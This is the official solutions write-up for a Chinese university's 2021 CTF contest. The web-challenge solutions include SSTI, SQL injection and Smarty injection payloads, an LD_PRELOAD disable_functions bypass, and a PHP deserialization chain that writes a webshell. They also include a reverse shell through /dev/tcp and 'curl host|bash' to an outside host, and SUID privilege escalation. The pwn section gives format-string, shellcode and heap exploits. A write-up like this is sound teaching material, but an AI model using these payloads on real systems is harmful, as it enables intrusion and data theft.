NEEPUSec CTF 2021 公开赛官方writeup

阅读量312885

|评论2

发布时间 : 2021-05-25 15:00:38

 

东北电力大学第二届网络安全攻防大赛的成功举办,不仅是指导老师的教导有方和运维人员的勤勤恳恳,更是各位参赛选手的支持。比赛以圆满落幕画上句号,我们一定会继续努力,诚心诚意地为大家带来更高质量的比赛。

比赛最终成绩(总排名前10)

1 The_Itach1 8242

2 c0s1n3 7773

3 ⎝Lazzaro⎠ 7642

4 Yongibaoi 7016

5 adam 6145

6 bnsbns 4619

7 Guoke 4492

8 mortal15 3953

9 atao 3786

10 影二つ 3674

 

NOOB

Linux入门

考察的指令

Linux基本指令
ls/dir: 访问当前目录
cat: 获取当前文件内容
grep: 匹配字符串
*: 匹配一个或多个字符
?: 匹配一个字符
/: 根目录

ls 访问发现 hint.txt,提示访问根目录

ls / 访问根目录发现 flag,但是提示需要使用 grep

根据提示 Linux 系统配置文件主要放置在 /etc,通过 grep -R "Neepu{" /etc

20210524130910979

最强大脑

10s思考和答题,查看 F12 页面参数是如何显示的,然后使用 python 脚本计算即可拿到 flag

# -*-coding:utf-8-*-
import requests
import re
import time

url = 'http://neepusec.club:18557/'
sess = requests.session()  # 保持session会话, 这样刷的题才会累计
res = sess.get(url=url)  # 先通过get传参获取第一道题的参数
result = re.search('<p>(.*)</p>', res.text)  # 匹配算式
ans = result.group(1).replace('&nbsp', '').replace('=?', '')  # 替换多余的标签为空
ans = eval(ans)  # 执行表达式
# print(ans)  # test

for i in range(1, 1001):  # 跑1000次,拿到 flag 就会停止
    data = {
        "answer": ans,
    }
    flag = sess.post(url=url, data=data)  # data -> post传参
    formula = re.search('<p>(.*)</p>', flag.text)  # 匹配算式
    ans = formula.group(1).replace('&nbsp', '').replace('=?', '')  # 替换多余的标签为空
    print(ans)
    ans = eval(ans)  # 执行表达式
    print(ans)
    status = re.search('<h3>(.*)</h3>', flag.text)  # 返回解题状态
    print(f'{i} {status.group(1)}')
    try:
        flag = re.search('([Nepu]{5}\{(.*)\})', flag.text)  # 匹配flag框架
        print(f'[+]flag is {flag.group(0)}')  # 返回flag
        break
    except:
        continue

得到 flag

20210524131517187

AZ

访问链接 blockchain sign in

20210524131811475

公链明文泄露

20210524131901722

UTF-8 查看

20210524131930522

flag

Neepu{n0Obbbb10ckch4In}

随便注2.0

新增了三个考点:反引号区分特殊字符,prepare与concat结合绕过,空格过滤绕过

最终payload(这里给出其中一种)

0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23

得到 flag

20210524132611658

有泄可击

题目提示有泄露,第一处是 F12 账号信息泄露

20210524133104643

进入以后可以通过泄露工具扫描

20210524133247225

得知有 .git 泄露,访问

20210524133542737

给了一个类似源码的 txt 文件,访问得知后台页面有个 debug mode

20210524133525908

通过 [ 来使得 php 认为传入的是数组从而绕过 . 变成 _ 的转换,然后访问根目录获取 flag

?neepu[debug.mode=system('cat /flag');

flag 就在网页的最下面显示

20210524133943835

 

WEB

remote_table

打开是一个很像桌面的网页

image-20210522235032918

点击图标会发送请求

image-20210522235236114

flag 就在 notfound.html 页面最下面

LOVE_DEATH&ROBOTS

根据题目标题的提示可以得知需要访问 robots.txt

20210524014851491

虽然 robots.txt 提示不能抓取,但是我们可以去尝试访问

20210524015202084

flag 就在 n33pvfl4g.php 里面

The_myth_of_Aladdin

知识点: SSTI 模板注入, 八进制绕过, cut 截断读取文件

探测是否存在 SSTI

{%print(7-5)%}

然后测试发现禁用了很多类, 可以使用双引号, 尝试后发现八进制可以注入

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls")["\162\145\141\144"]())%}

发现空格被禁用,尝试用%09代替,注入后读取根目录的 flag

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls%09/")["\162\145\141\144"]())%}

发现一些指令和 flag 文件名被禁用,尝试字符串拼接读取,发现还是被过滤了

20210524020113611

猜测是匹配了flag的框架 Neepu{ ,尝试用 cut 截断数组带出

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("c""ut%09-c%092-40%09/fl""ag")["\162\145\141\144"]())%}

得到 flag

20210424161605584

gemebox

开始是个 SQL 注入,万能密码登录即可

image-20210523002634360

然后是一个掷硬币,猜正反的游戏

image-20210523002723973

这里有个验证码,但观察源码发现验证码的内容是写在 html 里的

image-20210523002749598

于是编写脚本,进行测试,在胜利后会进行跳转

http://neepusec.club:18943/index.php?file=rander.php

然后通过伪协议查看源码

http://neepusec.club:18943/index.php?file=php://filter/read=convert.base64-encode/resource=rander.php

<?php
// create object
if ($_SESSION['num'] >= 5) {
    include('smarty/Smarty.class.php');
    $smarty = new Smarty;
    $name = $_SESSION["username"];
    $smarty->display('string:恭喜 '.$name.' 获得了胜利');
}

这里直接 display 存在模板注入,然后显示的是自己登录时的用户名

把自己登录时的用户名改成模板注入语句就好了,disable_function 里禁了一些函数,这里可以用 shell_exec

EXP:

import re
import requests

url="http://neepusec.club:18943"
s = requests.Session()
#payload = "{{shell_exec(\"\ls\t/\")}}'='0"
payload = "{{shell_exec(\"cat\t/This_is_your_Flag\")}}'='0"
login_data = {"username":payload}
res0 = s.post(url+"/login.php",data = login_data)

res1 = s.get(url+"/index.php")
reg = re.findall('pic\/.*?\.jpg',res1.text)
data={"authcode":reg[0][4:8],"guess":"on"}

for i in range(0,1000):
    res3 = s.post(url+"/index.php",data=data)
    reg = re.findall('pic\/.*?\.jpg',res3.text)
    data={"authcode":reg[0][4:8],"guess":"on"}
    if(len(res3.text)!=3287):
        print(i)
        print(res3.text)
        break

得到 flag

image-20210523004251078

upload_club

知识点: 数组[解析变量名, 另类二次编码绕过, 过滤器绕死亡函数 exit, file_get_contents 与 require_once 的 Data URL 识别, mail() 绕过 disable_functions

源码

<?php
error_reporting(0);
$uploadclub = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : md5($_SERVER['REMOTE_ADDR']));
$uploadclub = basename(str_replace(['.','-','(','`','<'],['','','','',''], $uploadclub));
@mkdir('uploads/'.$uploadclub);
@chdir('uploads/'.$uploadclub);
print_r("Upload: uploads/".$uploadclub);
$check = file_get_contents('php://input');
if(preg_match('/25/', $check)) {
    die("<br />No more 25 :(");
}else {
    extract($_POST);
    foreach ($_POST as $key => $value) {
        $key = $value;
    }
}
if(isset($_POST['neepu_sec.club'])) {
    $content = $key;
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64|zlib|string|tripledes|ini|htaccess|\\|#|\<\?/i', $content)) {
        die('<br />hacker!!!');
    }
    $content = str_replace('.php','neepu',$content);
    $content = str_replace('.phtml','neepu',$content);
    file_put_contents($content,'<?php exit();'.$content);
    chdir('..');
    if(!stripos(file_get_contents($content),'<?') && !stripos(file_get_contents($content),'php')) {
        require_once($content);
    }
}else {
    chdir(__DIR__);
    @rmdir('uploads/'.$uploadclub);
}
?>

第一个考点是死亡函数 exit 绕过,但是几乎所有的过滤器都禁用了,连 %25 也ban了,可以先看一下伪协议如何处理 url 编码这一类 payload

static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */
{
    char *p, *token = NULL;
    php_stream_filter *temp_filter;

    p = php_strtok_r(filterlist, "|", &token);
    while (p) {
        php_url_decode(p, strlen(p)); # 对过滤器进行了一次urldecode
        if (read_chain) {
            if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
                php_stream_filter_append(&stream->readfilters, temp_filter);
            } else {
                php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
            }
        }
        if (write_chain) {
            if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
                php_stream_filter_append(&stream->writefilters, temp_filter);
            } else {
                php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
            }
        }
        p = php_strtok_r(NULL, "|", &token);
    }
}

进入的时候 html 网页本身会解码一次,然后写入文件时伪协议会对 url 编码的 payload 处理一次 payload。第二个考点是寻找另类的二次编码,%25 被ban后可以尝试寻找其它的二次编码突破口

<?php
$char = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$(){}[]"\'|\\/-+=*&^`~.';  # 构造全部的二次编码
for ($i = 0; $i < strlen($char); $i++) {
    for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
        for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
            $result = '%' . $ascii1 . '%' . $ascii2;
            if (urldecode(urldecode($result)) == $char[$i]) {
                echo $char[$i] . ': ' . $result;
                echo "\n";
            }
        }
    }
}
?>

可以得到一些比较常用的特别的二次编码

a: %6%31
b: %6%32
i: %6%39
q: %7%31
r: %7%32
u: %7%35
U: %5%35

测试过 base64 过滤器,效果很差,于是采用了 iconv 破坏其本身的死亡函数 exit,这里还考了一点小知识点,通过 [ 来使得 php 认为传入的是数组从而绕过 . 变成 _ 的转换

第三个考点是 file_get_contents 与 require_once 的 Data URL 识别

file_get_contents 允许使用 data URI,会直接返回后面的内容,很奇怪的是,在 allow_url_include=Off 的情况下,不允许 require_once data URI 的,但是如果 data:,XXX 是一个目录名的话,就会放开限制。

测试效果如下

20210524100152572

通过这个漏洞就可以写入并包含 shell 文件

# phpinfo()
neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=ricky
X-Forwarded-For: data:,123456

然后再包含该文件

neepu[sec.club=data:,123456/ricky

查看 disable_functions

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,chmod,posix_mkfifo,pg_lo_import,dbmopen,dbase_open,define_syslog_variables,posix_getpwuid,posix_uname,proc_close,pclose,proc_nice,proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,fopen,copy,rename,readfile,tmpfile,tempnam,touch,link,file,ftp_connect,ftp_ssl_connect

第四个考点是用 mail() 函数 绕过

PHP 的 mail() 函数调用 execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...) 。由于这种实现,如果我们使用自写动态库设置环境变量 LD_PRELOAD ,从而修改 /bin/sh 的行为并获得命令执行。

即使 /usr/sbin/sendmail 不存在,也可以使用,重写 getuid() 函数

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/_0utput.txt");
  system(buf);}

int getuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}

编译

gcc -Wall -fPIC -shared -o evil.so evil.c -ldl

采用 move_uploaded_file 函数进行多文件上传,最后在根目录下找到 getflag 和 flag,访问 /getflag 得到 flag

20210524095335066

EXP:

# -*-coding:utf-8-*-
import requests
import re

url = "http://neepusec.club:18762/index.php"

def upload():
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
        "X-Forwarded-For": "data:,123456",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    # phpinfo()
    # upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=ricky"
    # ls /
    # upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp pomevu_lpaoed_difel$(F_LISE'[veli]''[mt_panem]'',t/pme/iv_lil'b;)upetvn'(DLP_EROLDA/=mt/pvelil_bi)'p;tune(v_\"velimc=dsl/ )\"m;ia(la','a','a')'e;hc oifelg_tec_noettn(s/'mt/p0_tuup.txt't;)>?');/resource=ricky"
    # /getflag
    upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp pomevu_lpaoed_difel$(F_LISE'[veli]''[mt_panem]'',t/pme/iv_lil'b;)upetvn'(DLP_EROLDA/=mt/pvelil_bi)'p;tune(v_\"velimc=dg/telfga)\"m;ia(la','a','a')'e;hc oifelg_tec_noettn(s/'mt/p0_tuup.txt't;)>?/resource=ricky"

    res = requests.post(url=url, headers=headers, data=upload)

def require():
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
        "X-Forwarded-For": "data:,123456",
    }
    require_once = {"neepu[sec.club": "data:,123456/ricky"}
    files = {"evil": open("./evil.so", "rb")}
    res = requests.post(url=url, headers=headers, data=require_once, files=files)
    print(res.text)

if __name__ == '__main__':
    upload()
    neepu = require()

serialize_club

知识点: 任意文件读取,反序列化链构造,session_upload_progress构造session反序列化,无字母webshell,getshell提权读取flag

第一个考点是任意文件读取,进入网页是个平台,F12查看网页源代码发现图片链接可能是通过读取获得

20210524100803850

类似如下的链接

<img src="functions/file.php?file=images/about-img.jpg" alt="about" class="img-responsive slideanim slide">

尝试先读取 functions/file.php,发现可以直接得到源码但是不让目录穿梭,限制在 /var/www/html/ 这里

20210524101024304

然后尝试读取 index.php, 发现可以读取同时包含了 config/backdoor.php

20210524101118167

读取 config/backdoor.php,发现是个后门写入,但是只能通过一些特殊字符组成 webshell

20210524101231968

把所有的 php 代码结合一块可以得到如下代码

<?php
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class neepu {
    protected
        //! Neepu
        $neepu,
        //! Memory-held data
        $data,
        //! Info
        $info;

    public function __construct() {
        $this->neepu = "<h1>Welcome to serialize club :)</h1>";
        $this->info['info'] = "<h1>This is PHPINFO</h1>";
    }

    public function checkinfo() {
        if(!isset($_POST['info'])) {
            echo $this->neepu;
        }else {
            echo $this->info['info'];
            phpinfo();
        }
    }

    public function __call($name,$args) {
        echo $this->neepu;
    }

    public function __toString() {
        $this->info['info']->data;
        return "Neepu!";
    }
}
class n33pu {
    public
        //! Neepu object
        $obj;

    public function __get($args) {
        $Neepu = $this->obj;
        return serialize($Neepu);
    }
}
class dumb {
    public
        //! dumb
        $dumb;

    public function silly(){
        echo "Who care about it?";
    }

    public function __destruct(){
        $this->dumb->silly();
    }
}
class backdoor {
    protected
        //! eval code
        $cmd;

    public function __invoke() {
        if(preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i',$this->cmd)) {
            file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);
        }
        else{
            die("A webshell is waiting for you");
        }
    }
}
$Neepu = new neepu();
echo $Neepu->checkinfo();

审计后,可以先 POST 传参 info 查看 php 配置环境信息

第二个考点是 session_upload_progress 反序列化, 看到 session 这一块

20210524102820415

php引擎的存储格式是 键名 | serialized_string,而php_serialize引擎的存储格式是 serialized_string 。如果程序使用两个引擎来分别处理的话就会出现问题。

第三个考点是无字母 webshell 构造

[;+=!@\$\"\.\_\(\)\[\]]

只能使用这些特殊字符构造 webshell

<?php
$_=[];
$_=@"$_";
$_=$_["!"=="@"];
echo $_;

$_赋予 Array 属性, 通过 @ 防止报错, 通过 ["!"=="@"] 调用属性的开头字母A, 然后递增拼接 _GET 或者 _POST, 如下构造的是 $_GET[_]($_GET[__]) 木马 (防止和其它POST传参混淆)

<?php $_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____="_";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);

然后上传以后传入___使用

第四个考点是反序列化链构造

class silly -> __destruct
↓↓↓
class neepu -> __call -> 建立neepu对象echo触发__toString
↓↓↓
class neepu -> __toString -> 建立n33pu对象访问不存在的变量触发__get
↓↓↓
class n33pu -> __get -> $Neepu() -> 建立backdoor对象以函数形式调用backdoor对象触发__invoke
↓↓↓
class backdoor -> __invoke -> 写入 webshell

EXP:

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
class neepu {
    public
        //! Memory-held data
        $data,
        //! Neepu
        $neepu,
        //! Info
        $info;

    public function __construct() {
        $this->info['info'] = new n33pu();
    }
}
class n33pu {
    public
        //! Neepu func
        $func;
}
class backdoor {
    public
        //! eval code
        $cmd = '$_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____="_";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);';
}
class dumb {
    public
        //! dumb
        $dumb;
}

$a = new backdoor();
$b = new neepu();
$b->neepu = new neepu();
$b->neepu->info['info']->func = $a;
$c = new dumb();
$c->dumb = $b;
$z = serialize($c);
echo '|'.str_replace('"', '\\"', $z);
/*
|O:4:\"dumb\":1:{s:4:\"dumb\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";N;s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";O:8:\"backdoor\":1:{s:3:\"cmd\";s:230:\"$_=[];$_=@\"$_\";$_=$_[\"!\"==\"@\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\"_\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\";}}}}s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";N;}}}}
*/

为了防止双引号被转义,在双引号前加上 \,除此之外还要加上 |

构造 upload.html

<form action="http://ip:port/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后抓包修改 filename

20210503174026056

线程稍微开大一点, 10左右差不多然后攻击查看返回信息长度

20210503174041327

getshell 以后访问 neepu.php,之前在 phpinfo 里发现还有 passthru 可以使用

20210524105241743

在根目录下没有找到 flag

20210524105529958

猜测是在 /root 里面, 第五个考点是 SUID 提权

?_=passthru&__=find / -perm -u=s -type f 2>/dev/null

发现容器弹不出来,于是采用公网弹shell(在80端口放置反弹shell指令: bash -i >& /dev/tcp/公网ip/端口 0>&1 )

?_=passthru&__=curl 公网ip|bash

然后尝试 SUID 提权

20210524110253749

发现特殊的提权指令

/usr/bin/xxd

用法如下

20210201014859982

然后提取 /root/flag

?_=passthru&__=xxd "/root/flag"| xxd -r

得到flag

20210524111104357

整理好后可以直接用脚本攻击(每次使用需要修改 url 和数据包里的 Host)

# -*- coding:utf-8 -*-

import io
import requests
import threading
import re
import HackRequests

sessid = 'flag'
url = "http://neepusec.club:18812"
raw = \
'''POST /index.php HTTP/1.1
Host: neepusec.club:18812
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17167262834166658353292847628
Content-Length: 898
Connection: close
Cookie: NEEPUSECID=flag
Upgrade-Insecure-Requests: 1

-----------------------------17167262834166658353292847628
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

12101
-----------------------------17167262834166658353292847628
Content-Disposition: form-data; name="file"; filename="|O:4:\\"dumb\\":1:{s:4:\\"dumb\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";N;s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";O:8:\\"backdoor\\":1:{s:3:\\"cmd\\";s:230:\\"$_=[];$_=@\\"$_\\";$_=$_[\\"!\\"==\\"@\\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\\"_\\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\\";}}}}s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";N;}}}}"
Content-Type: application/octet-stream


-----------------------------17167262834166658353292847628--
'''

def write(session):
    while True:
        resp = hack.httpraw(raw)
        # print(resp.text())

def read(session):
    while True:
        resp = session.get(url + '/neepu.php')
        if resp.status_code == 200:
            fth = "passthru"
            sth = "xxd \"/root/flag\"| xxd -r"
            # sth = ["ls", "ls /", "find / -perm -u=s -type f 2>/dev/null", "xxd \"/root/flag\"| xxd -r"]
            # for i in range(len(sth)):
            #     res = requests.get(url=url + '/neepu.php?_={}&__={}'.format(fth, sth[i]))
            #     print(f'[+]Result{i + 1}:\n' + res.text)
            res = requests.get(url=url + '/neepu.php?_={}&__={}'.format(fth, sth))
            print(res.text)
            event.clear()
        else:
            pass

if __name__=="__main__":
    hack = HackRequests.hackRequests()
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

 

PWN

ncc

main函数传参

$ nc neepusec.club 18060
ls
bin
dev
flag
lib
lib32
lib64
pwn
usr
./pwn 2333_2333
Congratulations!
Neepu{*********************}

easy_shellcode

直接运行orw

#usr/bin/env python
# -*- coding:utf8 -*-

from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
debug = 2
if debug == 1:
    p = process("./chall")
else:
    p = remote("neepusec.club",18650)
elf = ELF("./chall",checksec=False)

shellcode = '''
    push   0x67616c66
    push   0x67616c66
       mov    rdi,rsp
      xor    edx,edx
       xor    esi,esi
       push   0x2
       pop    rax
       syscall 
       mov    rdi,rax
      xor    eax,eax
      push   0x50
     pop    rdx
    mov    esi,0x1010101
    xor    esi,0x22320301
    syscall 
    push   0x1
     pop    rdi
    push   0x50
    pop    rdx
    mov    esi,0x1010101
    xor    esi,0x22320301
    push   0x1
    pop    rax
    syscall
'''
shellcode = asm(shellcode)

p.sendafter("just learn orw\n",shellcode)
p.interactive()

easy_format:

思路:

题目逻辑很简单,就是要匹配一个长度为10的随机字符串,但是存在\x00绕过,之后就是bss段上的格式化字符串,只给了五次机会,所以需要一次将栈地址和libc泄露,再四次机会将one_gadget改到栈上

利用的栈链:

image-20210523100759653

exp:

from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
debug = 2
if debug == 1:
    p = process("./pwn")
else:
    p = remote("neepusec.club",18451)

elf = ELF("./pwn",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
one = [0x45226,0x4527a,0xf0364,0xf1207]

pd = '\x00'
p.sendafter("Input your information:\n",pd)

#gdb.attach(p,'b *0x00400B8B')
pd = '%23$p%25$p'
p.sendafter("Would you like to leave me something:\n",pd)
libc_base = int(p.recv(14).ljust(8,'\x00'),16) - 240 - libc.sym['__libc_start_main']
stack = int(p.recv(14).ljust(8,'\x00'),16) - 0xe0
og = one[0] + libc_base
offset = stack & 0xffff
offset_one1 = og & 0xffff
offset_one2 = (og >> 16) & 0xffff

#gdb.attach(p,'b *0x00400B8B')
pd = '%' + str(offset) + 'c' + '%25$hn\x00'
p.sendafter("Would you like to leave me something:\n",pd)

pd = '%' + str(offset_one1) + 'c' + "%51$hn\x00"
p.sendafter("Would you like to leave me something:\n",pd)

pd = '%' + str(offset+2) + 'c' + '%25$hn\x00'
p.sendafter("Would you like to leave me something:\n",pd)

pd = '%' + str(offset_one2) + 'c' + '%51$hn\x00'
p.sendafter("Would you like to leave me something:\n",pd)
#gdb.attach(p,'b *0x00400B8B')
success("libc_base = " + hex(libc_base))
success("og = " + hex(og))
success("libc_sm = " + hex(libc_base + libc.sym['__libc_start_main']))
success("stack = " + hex(stack))

p.interactive()

easy_heap:

前言:

题给简单了,本来应该不给UAF(其实是刚开始想用这个思路打,但因为shellcode原因没打通XD)

思路是从freedom师傅那学来的,适用还算广泛 可以用作一个模板

思路:

题目逻辑也很简单,在edit的choice=1处存在堆溢出,因为每次memset只清空了对应大小的内容,但之后内容依然存在

没有show,需要构造堆块重叠打IO泄露libc然后劫持IOFILE也就是`_IO_2_1_stdin`控制_chain链指向可控地址,然后在该地址伪造IO_file结构体,设定IO_write_ptr指向fsrop起始位置,vtable指向IO_str_jump,

然后在malloc_hook处布置setcontext+61,后面加上mprotect,然后exit退出执行malloc_hook处调用链
当然本题解法还是很多的 比如用'magic_gadget'打free_hook等等

exp:

from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
debug = 2
if debug == 1:
    p = process(['./heap'])
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
else:
    p = remote('neepusec.club',18601)
    libc = ELF("./libc.so.6",checksec=False)
elf = ELF('./heap',checksec=False)


def add(index,size):
    p.sendlineafter("choice:",str(1))
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))

def delete(index):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter(':',str(index))

def edit(choice,index,content):
    p.sendlineafter("choice:",str(3))
    p.sendlineafter("there are two methods:(1/2)",str(choice))
    p.sendlineafter("index:",str(index))
    p.sendafter("content:",content)

def b(addr):
    bk = 'b *$rebase('+str(addr)+')'
    attach(p,bk)
    success('attach')

def pwn():
    global p
    global elf
    global libc
    add(0,0x108) # 0
    add(1,0x218) # 1
    add(2,0x358) # 2
    add(3,0x208) # 3
    add(4,0x358) # 4
    add(5,0x308) # 5
    edit(1,1,'a'*0x108+p64(0x581))

    delete(4) # 4 freed
    delete(2) # 2 freed
    edit(1,0,'a'*0x108)
    delete(1) # 1 freed

    add(1,0x218) # 1
    add(2,0x258) # 2
    add(4,0xf8) # 4
    edit(2,2,'\xa0\xd6') # 1 

    add(6,0x358) # 6 uaf=2
    add(7,0x358) # 7=stdout
    payload = p64(0xfbad1800)+p64(0)*3+'\x00'
    edit(2,7,payload) # 2
    p.recvuntil('\x00'*8)
    libc.base = u64(p.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdin_']
    malloc_hook = libc.base + libc.sym['__malloc_hook']
    setcontext = libc.base + libc.sym['setcontext']
    stdin = libc.base+libc.sym['_IO_2_1_stdin_']

    malloc_hook_base = malloc_hook & 0xfffffffffffff000
    success('libc.base = ' +hex(libc.base))
    success('malloc_hook = ' +hex(malloc_hook))
    success('setcontext = ' +hex(setcontext))
    success('stdin = ' +hex(stdin))

    add(8,0x258) # 8
    add(9,0x258) # 9
    add(10,0x258) # 10
    add(11,0x400) # 11
    add(12,0x258) # 12

    delete(8) # 8 freed
    delete(6) # 6 freed

    edit(2,2,p64(stdin))
    add(6,0x258) # 6
    add(8,0x258) # 8 stdin
    p.recvuntil("[+]done\n")
    fake_IO = p64(0xfbad1800)
    fake_IO += p64(0) # IO_read_ptr
    fake_IO += p64(0) # IO_read_end
    fake_IO += p64(0) # IO_read_base
    fake_IO += p64(0) # IO_write_base
    fake_IO += p64(stdin+0xe0) # IO_write_ptr
    fake_IO += p64(0) # IO_write_end
    fake_IO += p64(0) # IO_buf_base
    fake_IO += p64(0) # IO_buf_end
    fake_IO += p64(0) # IO_save_base
    fake_IO += p64(0) # IO_backup_base
    fake_IO += p64(0) # IO_save_end
    fake_IO += p64(0) # _markets
    fake_IO += p64(0) # _chain
    fake_IO += p64(0) # _fileno
    fake_IO += p64(0) # _flag2
    fake_IO += p64(0) # _old_offset
    fake_IO += p64(0) # _cut_column
    fake_IO += p64(0) # _vtable_offset
    fake_IO += p64(0) # _shortbuf
    fake_IO += p64(0) # _lock
    fake_IO += p64(0) # _offset
    fake_IO += p64(0) # _codecvt
    fake_IO += p64(0) # _wild_data
    fake_IO += p64(0) # _freeres_list
